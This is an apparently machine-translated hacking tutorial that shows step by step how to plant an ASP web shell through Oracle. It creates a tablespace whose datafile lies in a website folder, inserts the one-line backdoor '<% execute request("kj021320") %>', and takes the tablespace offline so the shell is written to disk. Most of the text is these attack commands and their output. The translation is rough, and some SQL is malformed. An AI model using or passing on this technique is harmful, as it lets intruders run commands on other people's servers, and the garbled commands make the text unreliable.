Create a data file WriteWebShell in ORACLE

Author: kj021320

Reprinted please indicate the source

In fact, there is no need to use such a method for a powerful database like ORACLE.

The SQLJ stored procedure can also write files, forcing the other machine to not support sqlj and the UTL_FILE package to be killed?

You can also use the following method.

 

SQL> create tablespace kjtest datafile e: websitekj. asp size 100 k nologging;

The tablespace has been created.

 

Here, we remember that K is the smallest unit of ORACLE tablespace. If your SHELL is large, K is more secure.

However, we recommend that you use the most concise sentence.

 

SQL> CREATE TABLE WEBSHELL (C varchar2 (100) tablespace kjtest;

The table has been created.

 

Generally, the VARCHAR type is used, and the tablespace is too small. Therefore, it cannot be CLOB or BLOB.

 

SQL> insert into WEBSHELL values (<% execute request ("kj021320") %> );

One row has been created.

SQL> commit;

Submitted.

 

After the submission is complete, OK? NO ~ Because the data has not been flushed to the file by the DBWn process, you need to synchronize the current table space of CKPT and OFFLINE.

 

SQL> alter tablespace kjtest offline;

The tablespace has been changed.

 

Here, your SHELL code has been written to that file.

<% Execute request ("kj021320") %> Z